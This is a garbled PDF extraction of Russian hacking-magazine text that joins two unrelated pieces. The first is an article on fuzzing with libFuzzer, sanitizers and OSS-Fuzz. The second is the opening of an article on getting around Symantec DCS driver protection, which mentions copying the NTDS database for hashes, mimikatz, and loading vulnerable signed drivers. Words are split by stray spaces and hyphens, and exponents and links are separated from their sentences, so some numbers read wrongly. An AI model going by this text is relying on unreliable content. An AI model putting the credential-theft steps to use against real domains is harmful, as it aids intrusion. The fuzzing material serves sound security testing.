слу чай ные вход ные дан ные для нашего кода, но при этом каж дая новая пос‐ 
ледова тель ность  исполь зует  информа цию  из  пре дыду щих  попыток  для мак‐ 
симиза ции резуль тата.

Сра зу  воз ника ет  резон ный  воп рос — могут  ли  слу чай ные  дан ные  что‐то
про тес тировать  в  дей стви тель нос ти?  Пред положим,  мы  хотим  про верить
ком пилятор С/C++ и посыла ем на вход сге нери рован ные пос ледова тель нос‐ 
ти сим волов. Совер шенно оче вид но,  что мы получим мно го оши бок от  ком‐ 
пилято ра  на  ста дии  лек сиког рафичес кого  ана лиза  и  пар сера  выраже ний,
но  при  этом  едва  зат ронем  опти миза цию  и  генера цию  кода.  Выг лядит
не очень‐то эффектив но, сог ласись. К счастью, это нап расное опа сение.

ГДЕ МОЖНО ПРИМЕНЯТЬ ФАЗЗИНГ
Фаз зинг мож но успешно исполь зовать вез де,  где на вхо де тре буют ся слож‐ 
ные  дан ные.  Три виаль ные  слу чаи  реша ются  прос тым  перебо ром,  но  если

у тебя есть хотя бы десять байт вход ных дан ных, то 2  уже соз дают проб лему
при тес тирова нии, и обыч ные тес ты тут вряд ли спра вят ся.
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Имен но  поэто му  самые рас простра нен ные  слу чаи  при мене ния фаз зинга
при ходят ся на раз личные пар серы  (XML, JSON), муль тимеди ако деки  (аудио,
видео, гра фика), сетевые про токо лы (HTTP, SMTP), крип тогра фию (SSL/TLS),
бра узе ры  (Firefox,  Chrome)  и  ком прес сию  фай лов  (ZIP,  TAR).  Так же  целями
фаз зинга могут быть ком пилято ры (C/C++, Go), интер пре тато ры (Python, JS),
биб лиоте ки  для  обра бот ки  регуляр ных  выраже ний  (regexp),  базы  дан ных
(SQL) и ком плек ты офис ных при ложе ний (LibreOffice).

Чрез вычай но важен сегод ня и фаз зинг опе раци онных сис тем, раз личных
гипер визоров и вир туаль ных машин. Так что мы в Google даже запус тили спе‐ 
циаль ный фаз зер  , который неп рерыв но тес тиру ет нес коль ко сбо рок
ядра Linux, FreeBSD, NetBSD, а так же Android и ChromeOS.

syzkaller

Ре зюми руем: фаз зинг  абсо лют но  необ ходим  для  тех  прог рамм,  которые
работа ют на гра нице доверия и исполь зуют вход ные дан ные из ненадеж ных
источни ков.

САНИТАЙЗЕРЫ
Преж де чем мы перей дем к основной теме статьи, сле дует нем ного рас ска‐ 
зать  о  санитай зерах.  Это  инс тру мен ты  для  динами чес кого  тес тирова ния,
помога ющие  в  поис ке  самых  раз ных  оши бок  в  прог раммах.  Перепол нение
буферов  (гло баль ных,  на  сте ке  или  в  куче),  исполь зование  пос ле  осво бож‐ 
дения,  утеч ки  памяти,  обра щение  к  неини циали зиро ван ным перемен ным —
все это повод для исполь зования санитай зеров.

Од нако работой с памятью их воз можнос ти не огра ничи вают ся. Они так же
поз воля ют  обна ружи вать  сос тояние  гон ки  для  потоков,  ситу ации  вза имной
бло киров ки,  обра щения  по  нулево му  ука зате лю,  деление  на  ноль  (куда  же
без него), перепол нения для типов дан ных и некор рек тные битовые сдви ги —
одним сло вом, солид ную часть оши бок,  которые вызыва ют неоп ределен ное
поведе ние в прог раммах.

Са нитай зеры  очень  помога ют  во  вре мя  отладки.  Для  их  исполь зования
дос таточ но  ском пилиро вать  исходни ки  с  вклю чен ной  инс тру мен таци ей,
которая добавит спе циаль ные коман ды в исполня емый файл. По ним мож но
будет  сле дить  за  ходом  выпол нения  прог раммы  и  сос тоянием  памяти.
При  обна руже нии  оши бок  будет  сге нери рован  отла доч ный  вывод  и  прог‐ 
рамма завер шит работу.

Се год ня  работу  с  санитай зерами  под держи вают  ком пилято ры  GCC
и Clang. Нас тоятель но рекомен дую обра тить на них вни мание. Мало прос то
сге нери ровать  фаз зером  некор рек тные  вход ные  дан ные,  которые  обру шат
прог рамму. Ошиб ку  сле дует  устра нить,  а  для  это го  надо  соб рать мак симум
информа ции.  Имен но  в  этом  и  помога ют  санитай зеры.  Их  сов мес тное
исполь зование повыша ет эффектив ность тес тирова ния. Так что в некото ром
смыс ле фаз зеры и санитай зеры соз даны друг для дру га. :)

ТИПЫ ФАЗЗЕРОВ
Су щес тву ет нес коль ко основных типов фаз зеров, они отли чают ся под ходами
к  генера ции  вход ных  дан ных.  Некото рым  для  работы  тре бует ся  стар товый
набор при меров, дру гим нуж ны пра вила, по которым эти при меры могут быть
выведе ны.  Важ ную  роль  так же  игра ет  слу чай ность,  которая  поз воля ет  фаз‐ 
зерам соз давать все новые и новые вхо ды.

На осно ве грам матики
Та ким фаз зерам для работы тре бует ся опре делен ный набор пра вил — грам‐ 
матика для пос тро ения  вход ных дан ных.  Как  толь ко фаз зеру будут извес тны
эти  пра вила,  он  смо жет  генери ровать  новые  ком бинации  на  их  осно ве.
При этом мож но поз волить себе иног да откло нять ся от грам матики и не всег‐ 
да сле довать ей, подавая на вход тес тиру емой прог раммы некор рек тные дан‐ 
ные.

По доб ные  фаз зеры  генери руют  хорошие,  дос товер ные  пос ледова тель‐ 
нос ти,  доля  слу чай нос ти  в  них  отно ситель но  невели ка.  Одна ко  важ но
понимать,  что  писать  такие фаз зеры — дело  тру доем кое. Во‐пер вых,  грам‐ 
матику  сле дует  опре делить  самос тоятель но  (в  ред ких  слу чаях  мож но  взять
уже готовую). Во‐вто рых, качес тво работы фаз зера будет нап рямую зависеть
от той грам матики, что ему переда ли.

На осно ве мутаций
Та кой тип фаз зеров на каж дом эта пе слу чай ным обра зом изме няет вход ные
дан ные  из  пре дыду щих  попыток.  При  этом  для  стар та  ему  тре бует ся  набор
реп резен татив ных вхо дов  (кор пус), который будет исполь зовать ся для даль‐ 
нейших  мутаций.  В  качес тве  кор пуса  мож но  взять  дан ные  поль зовате лей
или сущес тву ющие тес ты. Во вре мя сво ей работы такой фаз зер слег ка изме‐ 
няет  готовые пос ледова тель нос ти  (перес тавляя биты и бай ты),  ком биниру ет
и сочета ет их вари ации и пода ет в прог рамму.

При этом никаких допол нитель ных уси лий от раз работ чика тут не тре бует‐ 
ся  (раз ве  что  написа ние  спе циаль ных  алго рит мов  мутаций),  но  и  качес тво
вход ных дан ных у таких фаз зеров обыч но сред нее.

Пос тро ение грам матики по дан ным
Так же  есть  спо соб  сочетать  оба  опи сан ных  выше  под хода.  Спе циалис ты
по  обра бот ке  дан ных  и  машин ному  обу чению  могут  попытать ся  пос тро ить
грам матику на осно ве уже име ющей ся информа ции. Одна ко оце нить резуль‐ 
тат на выходе таких фаз зеров зачас тую неп росто.

На осно ве пок рытия кода
По доб ные фаз зеры устро ены по прин ципу  генети чес кого алго рит ма и стре‐ 
мят ся мак симизи ровать пок рытие тес тового кода. С прак тичес кой точ ки зре‐ 
ния  это  один  из  самых  эффектив ных  на  сегод ня  типов  фаз зеров.  На  этой
осно ве работа ет  , и о нем я рас ска жу под робнее.libFuzzer

Уп рощен но работу фаз зера в фор ме псев докода мож но пред ста вить так:

Build the program with source coverage instrumentation;
Collect the initial corpus of inputs (optional, but recommended);
while (true) {
   Choose a random input from corpus and mutate it;
   Run the target program on the input, collect code coverage;
   If the input gives new coverage, add mutation back to corpus;
}

Спер ва  прог рамма  ком пилиру ется  с  инс тру мен таци ей  по  пок рытию  кода.
Это поз воля ет нам при про гоне прог раммы понять, какие строч ки кода были
исполне ны  по фак ту. Даль ше  собира ется  реп резен татив ный  кор пус  дан ных.
На самом деле это опци ональ ный шаг, мож но начать с пус того набора дан‐ 
ных.  Даль ше  фаз зер  выбира ет  один  из  вари антов,  мутиру ет  его  и  пода ет
на вход прог раммы. Если при этом было получе но новое кодовое пок рытие,
успех фик сиру ется и дан ные добав ляют ся в набор.

По пыта емся  теперь  оце нить,  нас коль ко  эффекти вен  этот  алго ритм
и почему он вооб ще работа ет. В качес тве при мера возь мем такой код:

if (input[0] == `1`) {
   if (input[1] == `3`) {
       if (input[2] == `3` && input[3] == `7`) {
           // Potential out‐of‐bounds write
           input[input[4]] = input[5];
       }
   }
}

Что бы  попасть  на  строч ку  кода  с  потен циаль ной  ошиб кой,  нам  нуж но  пра‐ 
виль но  уга дать  четыре  бай та  вход ного  потока.  Если  исполь зовать  прос той

перебор  «гру бой  силой»,  это  пот ребу ет  от  нас  око ло  2   попыток.  Край не
рас точитель но! Поп робу ем взгля нуть, как с такой задачей спра вит ся фаз зер.

32

Ес ли вход ной кор пус пуст и не содер жит никаких дан ных, резуль тат пер вых
попыток  ока жет ся  пол ностью  слу чай ным.  Это  будет  про дол жать ся  ров но
до  того момен та,  пока фаз зер  не  уга дает  пер вый байт. На  это  пот ребу ется

поряд ка 2  ите раций. При этом фаз зер зафик сиру ет новое пок рытие, и пра‐ 
виль ный вход будет наконец добав лен в кор пус.

8

Сле дующие попыт ки исполь зуют получен ный резуль тат в качес тве отправ‐ 
ной точ ки и пос ледова тель но улуч шают наше пок рытие. Лег ко под счи тать, что

с  таким  под ходом  пот ребу ется  про верить  поряд ка  2   вари антов,  что бы
обна ружить  ошиб ку.  По  сути,  мы  умень шили  чис ло  вари антов  более  чем
в мил лион  раз  и  све ли  экспо нен циаль ную  проб лему  к  полино миаль ной,  что
очень неп лохо.

10
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Ес ли  при мер  выше  тебя  не  впе чат лил  и  кажет ся
слиш ком прос тым, рекомен дую почитать замет ку
в  бло ге  соз дателя  AFL  Михала  Залев ско го  —

.  В  качес тве  демонс‐ 
тра ции  воз можнос тей  фаз зеров  Залев ский  син‐ 
тезиро вал  кор рек тный  файл  фор мата  JPEG  (со
все ми  полями  и  заголов ками)  прак тичес ки
из ничего. И да, судя по резуль татам, его фаз зер
явно нерав нодушен к абс трак тно му искусс тву.

Pulling  JPEGs  out  of  thin  air

При  этом  на  каж дом  эта пе  изме нения  дан ных  в  кор пусе  вов се  не  обя заны
быть  слож ными.  Мы  можем  прос то  перес тавлять,  добав лять,  уда лять
или  инверти ровать  отдель ные  биты  или  бай ты  в  одном  вхо де.  Допус тимо
скре щивать  раз личные  вхо ды,  получая  новые  дан ные  для  сле дующих  ите‐ 
раций. Или добав лять дан ные из какого‐либо сло варя. Мож но исполь зовать
«магичес кие циф ры», которые дол жны генери ровать ошиб ки в гра нич ных слу‐ 

чаях. Нап ример, 2 , 2 , 2  + 1 и так далее.8 31 32

Впро чем, это толь ко три виаль ные спо собы. Спра вит ся ли фаз зер с такими
усло виями в коде?

if (*(uint64_t*)input == 0xDEADBEEFCAFEBABE) {
   …
}
if (crc32(input + 4, size ‐ 4) == *(uint32_t*)input) {
   …
}

Опи сан ный выше про цесс пос ледова тель ной мутации тут уже не сра бота ет —
для уве личе ния пок рытия и прод вижения по коду усло вие нуж но уга дать сра зу
и  целиком.  Поэто му  мы  раз работа ли  нес коль ко  под ходов,  которые  перех‐ 
ватыва ют  такие  срав нения  при  инс тру мен тации  (

). Это поз воля ет в момент исполне ния получить дос туп
к  опе ран дам  и  добавить  их  в  кор пус.  Так же  под держи вают ся  срав нения
в фун кци ях   и  .

‐fsanitize‐
coverage=trace‐cmp

strcmp memcmp
И  это  откры вает  для  нас  новые  воз можнос ти.  Если  взять  «пра виль ный»

опе ранд и вста вить в опре делен ное мес то в нашей вход ной пос ледова тель‐ 
нос ти, то вет вле ние в коде мож но будет прос кочить за одну попыт ку.

Дру гой спо соб осно ван на  . Мы счи таем чис ло раз‐ 
личных  битов  в  опе ран дах,  и,  если  в  ходе  мутации  нам  уда лось  как‐то  сок‐ 
ратить это рас сто яние, вход запоми нает ся для даль нейше го исполь зования.
Таким  обра зом  мы  пос ледова тель но  приб лижа емся  к  необ ходимо му  зна‐ 
чению.

рас сто янии Хэм минга

ПРИМЕР ФАЗЗИНГА
Что бы написать фаз зер на осно ве  , надо сде лать ров но две вещи.
Во‐пер вых, реали зовать свою фун кцию Fuzz Target, которая будет переда вать
дан ные в тес тиру емую прог рамму. Во‐вто рых, прог рамму нуж но ском пилиро‐ 
вать с инс тру мен таци ей и ском поновать с биб лиоте кой  . Наиболь‐ 
шие  труд ности  в C++ обыч но вызыва ет имен но пос ледний этап,  но мы раз‐ 
берем оба.

libFuzzer

libFuzzer

/* example for boost::regex library */
int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {
   try {
       std::string str((char*)Data, Size);
       boost::regex e(str);
   }
   catch (const std::exception&) {}
   return 0;
}

Ис клю чения  здесь  приш лось  перех ватить,  так  как  биб лиоте ка    опо‐ 
веща ет  о  некор рек тных  выраже ниях  имен но  с  помощью  исклю чений.
Как видишь, код очень прос той и не тре бует каких‐то осо бых зна ний о фаз‐ 
зерах. Дан ные    генери рует  непос редс твен но  биб лиоте ка  libFuzzer,  и  их
нуж но лишь нап равить в пра виль ную фун кцию.

regex

Data

Вто рой шаг — это соб рать все в один исполня емый файл. Собирать будем
с санитай зерами и инс тру мен таци ей кода.

$ ./b2 cxxflags="‐fsanitize‐coverage=trace‐pc‐guard ‐fsanit
ize=address" toolset=clang install

Пер вый фла жок  ком пилято ра добав ляет инс тру мен тацию для пок рытия  кода
в исполня емый файл, вто рой отве чает за работу ASan — санитай зера адре‐ 
сов.

$ clang++ fuzzer.cc ‐fsanitize‐coverage=trace=pc‐guard ‐fsanitize=
address libFuzzer.a

На этом эта пе мы собира ем сам фаз зер (с теми же флаж ками ком пилято ра)
и  ком пону ем  его  с  биб лиоте кой  .  Имен но  в  ней  про исхо дит
основной цикл фаз зинга, и лишь изредка управле ние переда ется нашей фун‐ 
кции.

libFuzzer

Ра бота фаз зера была пло дот ворной, и уже через пол часа он нашел в коде
нес коль ко  оши бок,  при чем  некото рые  были  дос таточ но  серь езны ми,  в  том
чис ле  с  перепол нени ем  сте ка.  За    ты  можешь  обра тить ся
на сайт про екта. Сто ит отме тить, что все ошиб ки были опе ратив но устра нены
авто рами  биб лиоте ки.  Но,  я  думаю,  всег да  мож но  попытать ся  нафаз зить
что‐то еще. :)

под робнос тями
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Фаз зинг  —  про цесс  все‐таки  слу чай ный,
и  заранее  никог да  нель зя  уга дать,  сколь ко  вре‐ 
мени  пот ребу ется,  что бы  обна ружить  новую
ошиб ку. Если ты хочешь спер ва пот рениро вать ся
на готовом при мере, рекомен дуем начать с прак‐ 
тичес кой  час ти  из  нашей 
по этой теме.

пре дыду щей  статьи

ПОИСК ЛОГИЧЕСКИХ ОШИБОК
Од на  из  наибо лее  инте рес ных  осо бен ностей  фаз зеров  —  их  воз можность
обна ружи вать  логичес кие  ошиб ки  в  прог раммах.  Ког да  ничего  осо бо  кри‐ 
миналь ного как буд то не про исхо дит, но при этом прог рамма все рав но ведет
себя  некор рек тно  и  выда ет  неп равиль ный  резуль тат.  Зачас тую  с  помощью
фаз зеров мож но находить мно го таких оши бок.

До  это го  момен та  мы  в  основном  обсужда ли  явные  падения,  свя зан ные
со ста биль ностью и безопас ностью работы. Но с помощью фаз зинга мож но
находить ошиб ки и  в  логике работы прог раммы. На пер вый  взгляд  кажет ся,
что  это  малоре аль но,  ведь  кто‐то  дол жен  заранее  сооб щить  фаз зеру  пра‐ 
виль ный резуль тат для каж дого вхо да из кор пуса.

К  счастью,  если  про явить  нем ного  сме кал ки,  спо собы  все  рав но  есть.
Нап ример,  резуль таты  мож но  про верять  на  дос товер ность,  хотя  бы  приб‐ 
лизитель но. Дру гими сло вами, выход прог раммы дол жен выг лядеть разум но
(а не в сти ле «пол тора зем лекопа»).

Ска жем,  если  работа ет  декодер  нес жима юще го  фор мата  изоб ражений
и для фай ла в 100 байт на выходе получа ется 100 Мбайт, то тут явно где‐то
ошиб ка.  Или  если  извес тно,  что  в  пра виль ном  выходе  дол жна  содер жать ся
какая‐то опре делен ная строч ка или заголо вок, а они отсутс тву ют — это тоже
повод задумать ся.

Ес ли  наш  про цесс  обра тим,  то  резуль таты мож но  поп робовать  прог нать
через  вза имно обратную фун кцию  и  срав нить.  Это  может  быть  слу чай шиф‐ 
ровки и дешиф ровки сооб щений,  архи вации и разар хивации фай лов и про‐ 
чее. Выход дол жен быть при этом равен исходно му вво ду.

По рой мы  все‐таки  зна ем  пра виль ный  резуль тат  и  нам  есть  с  чем  срав‐ 
нивать.  Нап ример,  если  ты  хочешь  фаз зить  какую‐нибудь  спе цифич ную
реали зацию  сор тиров ки,  которая  зна ет  о  дан ных  что‐то  допол нитель но
и исполь зует это для более эффектив ной работы, — резуль тат всег да мож но
срав нить  со  стан дар тны ми  фун кци ями  и  убе дить ся,  что  дан ные  на  выходе
отсорти рова ны в пра виль ном поряд ке.

Еще один при ем осно ван на срав нении двух реали заций. При этом нуж но
заранее  про верить  обе  прог раммы:  они  дол жны  выдавать  один  и  тот  же
резуль тат  на оди нако вых дан ных. Или  хотя бы син хрон но  генери ровать  схо‐ 
жие ошиб ки в слу чае некор рек тно го вхо да. Конеч но, писать новую биб лиоте‐ 
ку толь ко для фазз‐тес тов мало кому хочет ся, но всег да мож но поп робовать
най ти аль тер нативы в сво бод ном дос тупе.

И разуме ется, сто рон няя реали зация необя затель но дол жна быть на том
же  язы ке. Либо  это может быть  прос той  и  неоп тимизи рован ный  код  про тив
слож ного. В любом слу чае вари анты всег да най дут ся, сто ит толь ко дать волю
вооб ражению!

КАК ФАЗЗЯТ В GOOGLE
По чему  вооб ще  фаз зинг  исполь зуют  в  Google?  Раз работ ка  сегод ня  ста ла
быс трее, и кода у нас очень мно го. Кор рек тность кода очень важ на, ста биль‐ 
ность все еще важ на, а безопас ность, разуме ется, на пер вом мес те. В такой
ситу ации нуж но дви гать ся быс тро, но при этом дер жать под кон тро лем сто‐ 
имость раз работ ки. Прос то нанять боль ше раз работ чиков уже не получа ется,
на рын ке тру да нет столь ко ква лифи циро ван ных кад ров.

Тра дици онное тес тирова ние в такой ситу ации уже не работа ет и не справ‐ 
ляет ся  с  рос том  кодовой  базы.  Уход  в  авто мати чес кое  тес тирова ние
с помощью фаз зинга на этом фоне выг лядит логич ным решени ем. Для это го
мы при зыва ем раз работ чиков писать фазз‐тес ты. Они под хва тыва ются  сис‐ 
темой фаз зинга и добав ляют ся в осталь ной набор тес тов.

Так же у нас на сер верах раз вернут  . Это сис тема неп рерыв ного
фаз зинга  про ектов  с  откры тыми  исходни ками.  Сегод ня  на  него  под писано
уже  более  200  про ектов.  Если  у  тебя  есть  вос тре бован ная  и  дос таточ но
популяр ная  биб лиоте ка,  то  ты  можешь  поучас тво вать.  С  тебя  —  фаз зер
и  инс трук ции  по  сбор ке  пос ледней  вер сии,  с  нас  —  хос тинг  на  клас тере
и гаран тирован ный поток обна ружен ных оши бок.

OSS‐Fuzz

В  2017  году  резуль таты  работы  это го  про екта  выг лядели  сле дующим
обра зом:  более  двух  тысяч  най ден ных  оши бок  в  шес тидеся ти  про ектах
с откры тым кодом. На сегод няшний день чис ло под писан ных на сер вис про‐ 
ектов  уве личи лось  более  чем  в  три  раза,  а  количес тво  оши бок  перева лило
за десять тысяч. Око ло 35% этих оши бок — неоп ределен ные ситу ации, най‐ 
ден ные с помощью санитай зера ubsan, при мер но 15% — ошиб ки при работе
с  памятью  и  перепол нение  буферов,  и  более  10%  —  это  дру гие  ошиб ки
самого раз ного рода.

Так же у нас есть родс твен ная сис тема   для бра узе ра Chromium.
Сегод ня она под держи вает более 350 фаз зеров, основная часть из них на lib‐
Fuzzer и AFL, но есть и совер шенно кас томные вещи. Сис тема авто мати чес ки
добав ляет  информа цию  о  най ден ных  ошиб ках  и  тес тиру ет  прис ланные
решения.

ClusterFuzz

Кро ме  того,  мы  ста раем ся  популя ризо вать  фаз зинг  за  пре дела ми
Google — мы про водим фаз затоны (по ана логии с хакато нами), недели фаз‐ 
зинга и выс тупа ем с док ладами на про филь ных кон ферен циях.

Как‐то  я  задал ся  воп росом:  а  сколь ко  все го  оши бок  мы  обна ружи ли
с помощью фаз зинга? В 2017 году эта циф ра была поряд ка пят надца ти тысяч,
во  всех  наших  про ектах.  То  ли  код  у  нас  слиш ком  пло хой,  то  ли  фаз зеры
слиш ком хорошие — я так пока еще и не опре делил ся. :)

ВЫВОДЫ
Фаз зинг — это ни в коем слу чае не панацея. Он не заменя ет дру гие методи ки
тес тирова ния, но и его заменить нель зя. Самое глав ное — это рабочая тех‐ 
ника,  которая  хорошо  допол няет  арсе нал  поис ка  уяз вимос тей.  Фаз зеры
в  пер вую  оче редь  сто ит  при менять  там,  где  воз ника ют  воп росы  безопас‐ 
ности,  на  гра нице  доверия  и  там,  где  есть  поль зователь ский  ввод.  И  пусть
наши прог раммы ста нут луч ше.

http://stats.hackmag.com/pdf/dvyukov@gmail.com
https://github.com/google/syzkaller
https://llvm.org/docs/LibFuzzer.html
https://lcamtuf.blogspot.com/2014/11/pulling-jpegs-out-of-thin-air.html
https://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D1%81%D1%81%D1%82%D0%BE%D1%8F%D0%BD%D0%B8%D0%B5_%D0%A5%D1%8D%D0%BC%D0%BC%D0%B8%D0%BD%D0%B3%D0%B0
https://svn.boost.org/trac10/ticket/12818
https://xakep.ru/2019/05/23/fuzzer
https://github.com/google/oss-fuzz
https://github.com/google/clusterfuzz
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ВЗЛОМ

Пред ставь  себе,  что  ты  получил  дос туп  к  кон трол леру
домена с пра вами адми на. Твои сле дующие шаги? Я бы сра‐ 
зу  ско пиро вал  себе  базу  NTDS  (ведь  там  есть  хеши
для  домен ных  уче ток),  а  еще  бы  пос мотрел,  что  покажет
mimikatz, — это могут быть  хеши от паролей для раз личных
уче ток и иног да сами пароли откры тым тек стом.

Вот толь ко базу NTDS прос то так не ско пиро вать — она пред став ляет собой
залочен ный  файл,  который  нель зя  открыть  и  про читать.  Что бы  это  обой ти,
ата кующие вычиты вают эту базу нап рямую с дис ка, с помощью собс твен ного
пар сера  NTFS.  Прог раммы  вро де  mimikatz  тоже  работа ют  не  в  лоб,  а  с
некото рыми хит ростя ми.

И однажды мож но обна ружить, что на одном из сер веров про читать дан‐ 
ные с дис ка нап рямую нель зя — что‐то меша ет. И mimikatz тоже завер шает ся
с ошиб кой. Хотя пра ва адми на есть. Что же это?

ЗАЩИТА ОТ АДМИНА В ИСПОЛНЕНИИ ДРАЙВЕРА
Ког да‐то,  во  вре мена Windows  XP,  поч ти  все  поль зовате ли  работа ли  с  пра‐ 
вами адми на. Исклю чения встре чались в основном в кор поратив ном сек торе.

Сей час  от  такой  прак тики  отхо дят,  но  в  реаль нос ти  мно гие  взло мы  так
или  ина че  при водят  к  получе нию  ата кующим  прав  адми на.  Это  может  про‐ 
исхо дить в резуль тате экс плу ата ции уяз вимос ти, оши бок кон фигура ции соф‐ 
та,  работа юще го  с  повышен ными  при виле гиями,  или  баналь ного  перебо ра
паролей. Получе ние ата кующим прав адми на на одной из машин в домене —
это  путь  к  кон трол леру  домена.  Ата кующий  может,  нап ример,  перех ватить
пароль  домен ного  адми на  на  одной  из  поль зователь ских  машин  (ког да
на нее зай дет сам админ), а затем залоги нить ся на кон трол лер домена.

Пос коль ку биз нес слиш ком мед ленно реаги рует на такие угро зы (да и Mi‐
crosoft те бре ши, которые за уяз вимос ти не счи тают ся, зак рыва ет очень дол‐ 
го),  то  некото рые  про изво дите ли  начали  реали зовы вать  защиту  от  адми на.
Такая защита быва ет в анти виру сах (в виде модулей самоза щиты), так же есть
отдель ные про дук ты, пред назна чен ные для защиты сер веров и рабочих стан‐ 
ций от дей ствий «пло хого адми на».

Хо рошо извес тно,  что  защиту  на  том же  уров не  при виле гий реали зовать
мож но  толь ко  через  усложне ние  (security  through  obscurity),  поэто му
для  защиты  от  прог рамм,  работа ющих  с  пра вами  адми нис тра тора,  то  есть
в ring 3, нуж но при менять драй вер, который работа ет в ring 0.

С помощью драй вера мож но зап ретить опре делен ные опас ные опе рации
с про цес сами, дис ками, фай лами и реес тром.

Мо дули  самоза щиты  анти виру сов,  как  пра вило,  пре пятс тву ют  уда лению
или  отклю чению  анти виру са,  изме нению  его  ком понен тов,  изме нению
или  уда лению  его  кон фигура ции.  Это  реали зует ся  при  помощи  перех вата
фун кций  API,  изу чения  передан ных  им  аргу мен тов  и  бло киро вания  опас ных
опе раций (путем воз вра та ошиб ки без вызова перех вачен ной фун кции). Нап‐ 
ример, перех ват фун кции уда ления клю ча реес тра дол жен бло киро вать уда‐ 
ление клю ча реес тра, если этот ключ отно сит ся к анти виру су (ведь анти вирус
мож но  отклю чить,  если  уда лить  записи  о  его  сер висах,  —  в  таком  слу чае
при сле дующей заг рузке опе раци онной сис темы анти вирус не запус тится).

Са моза щитой анти виру сов, конеч но, дело не огра ничи вает ся — сущес тву‐ 
ет про дукт, поз воля ющий гиб ко нас тро ить огра ниче ния для прог рамм, в том
чис ле  работа ющих  с  пра вами  адми на.  Этот  про дукт  называ ется  Symantec
Data Center Security (DCS).

DCS пред назна чен для защиты глав ным обра зом сер веров. В его фун кци‐ 
ональ ность вхо дит защита сер висов, работа ющих с повышен ными при виле‐ 
гиями, защита опе раци онных сис тем пос ле окон чания их под дер жки, монито‐ 
ринг целос тнос ти фай лов, защита от экс пло итов. Так же этот про дукт реали‐ 
зует некото рые фун кции хос товой IDS/IPS.

Symantec DCS поз воля ет задавать гиб кие пра вила для каж дой прог раммы
(далее в статье будет говорить ся про вер сию Data Center Security Server Ad‐
vanced  6.7.2.1390  это го  прог рам мно го  решения).  Нап ример,  мож но  зап‐ 
ретить одной прог рамме читать какой‐то файл, но раз решить чте ние для дру‐ 
гой  прог раммы  (при  том,  что  обе  прог раммы работа ют  с  пра вами  адми на).
Или зап ретить модифи кацию опре делен ного фай ла всем прог раммам, кро ме
задан ной. И так далее, вплоть до нас трой ки раз решений для клю чей реес тра
и узлов, с которы ми допус кает ся сетевое вза имо дей ствие. Гиб кость нас трой‐ 
ки  пра вил  раз гра ниче ния  дос тупа  впе чат ляет!  При  этом,  кста ти,  под держи‐ 
вают ся общие наборы пра вил, то есть безопас ник не попадет в тря сину нас‐ 
трой ки пра вил для каж дого экзешни ка.

Сле дует  отме тить,  что  перечис ленные  огра ниче ния  не  осно ваны  на  дес‐ 
крип торах безопас ности Windows,  вмес то  это го  на  уров не драй вера реали‐ 
зует ся собс твен ный механизм раз гра ниче ния дос тупа.

В  ходе  тес тирова ния  было  уста нов лено,  что  Symantec  DCS  успешно
защища ет от  пря мого  чте ния дан ных с дис ка  (попыт ка  такого  чте ния  завер‐ 
шает ся  с  ошиб кой),  от mimikatz  и  от  некото рых дру гих  популяр ных  век торов
реког носци ров ки и рас простра нения по  сети. Меч та безопас ника,  казалось
бы...

НЕМНОГО О ЗАЩИТНОМ ДРАЙВЕРЕ
Из‐за  PatchGuard  поч ти  все  про изво дите ли  защит ных  средств  опи рают ся
на  офи циаль ные  спо собы  перех вата  фун кций.  Для  реес тра,  нап ример,
это  фун кции  обратно го  вызова  (callbacks),  уста нав лива емые  драй верами
с помощью фун кции   или  .CmRegisterCallback CmRegisterCallbackEx

Пос мотрим на отры вок из  :офи циаль ной докумен тации
Драй веры  могут  целиком  обра ботать  опе рацию  над  реес тром  (или  пре‐ 
обра зовать  зап рошен ную  опе рацию  в  дру гую  опе рацию)  и  исклю чить
обра бот ку  этой  опе рации  менед жером  кон фигура ции  (при меча ние:
под  менед жером  кон фигура ции  понима ется  ком понент  ядра  опе раци‐ 
онной сис темы,  который отве чает за работу с реес тром на низ ком уров‐ 
не).

•

Драй веры могут изме нить резуль тат выпол нения опе рации над реес тром
и  воз вра щаемое  зна чение  (при меча ние:  более  под робно  это  опи сано
в  ).

•

со ответс тву ющем раз деле

Де ком пилиро ван ный фраг мент филь тру ющей фун кции для реес тра
из драй вера Symantec DCS: вид но, что в некото рых слу чаях драй вер
изме няет воз вра щаемое зна чение

В  ито ге  филь тру ющая  (перех ватыва ющая)  фун кция  получа ет  управле ние
до  вызова  исходной фун кции  ядра  опе раци онной  сис темы  и может  вер нуть
ошиб ку  без  переда чи  управле ния  этой  исходной  фун кции,  если,  нап ример,
защит ный драй вер решит  (на осно ве ана лиза аргу мен тов фун кции и дан ных
о  прог рамме,  которая  ини цииро вала  опе рацию с  реес тром),  что  такая  опе‐ 
рация с реес тром дол жна быть зап рещена.

Ана логич ный  под ход  при меня ется  в  отно шении  фай ловой  сис темы
и  сетево го  тра фика:  так,  драй вер  мини‐филь тра  может  перех ватывать  опе‐ 
рации с фай лами, зап рещать или  , а с помощью филь тру ющей
прос лой ки (filtering layer)   раз решать или зап рещать сетевые пакеты.

раз решать их
мож но

Для получе ния более под робной информа ции рекомен дую прой ти по ука‐ 
зан ным  ссыл кам,  все‐таки  низ коуров невые  аспекты  филь тра ции  не  вхо дят
в тему статьи.

ТАК ЛИ ПРОСТО ЗАКРЫТЬ БРЕШИ?
Ес ли  гра мот но  реали зовать  филь тры  для  фай ловой  сис темы,  реес тра
и сетевых пакетов, то, казалось бы, мож но соз дать весь ма надеж ную сис тему,
изо лиру ющую одну прог рамму от дру гих прог рамм и их дан ных.

Ко неч но,  ата кующий  может  заг рузить  собс твен ный  драй вер  и  из  него
отклю чить  защит ные перех ваты. А если  у  ата кующе го нет  воз можнос ти под‐ 
писать собс твен ный драй вер (а по умол чанию Windows про веря ет элек трон‐ 
ную под пись у заг ружа емых драй веров), то мож но заг рузить чужой под писан‐ 
ный драй вер и через уяз вимость в нем запус тить собс твен ный вре донос ный
код.

Для  защиты от  это го мож но,  нап ример,  бло киро вать  заг рузку  драй веров
по чер ному спис ку, отзы вать под пись от вре донос ных и уяз вимых драй веров.

Но  как  быть  с  ата ками  из  поль зователь ско го  режима?  Ока зыва ется,  что
час то и здесь не все бре ши зак рыты.

УБИ(Р|В)АЕМ ЗАЩИТНЫЙ ДРАЙВЕР ИЗ ПОЛЬЗОВАТЕЛЬСКОГО
РЕЖИМА
Ос новная  опас ность  зак люча ется  в  том,  что  нель зя  все  пре дус мотреть,  —
нас толь ко широки воз можнос ти обхо да (ней тра лиза ции) подоб ных «изо лиру‐ 
ющих» и «самоза щит ных» драй веров в Windows.

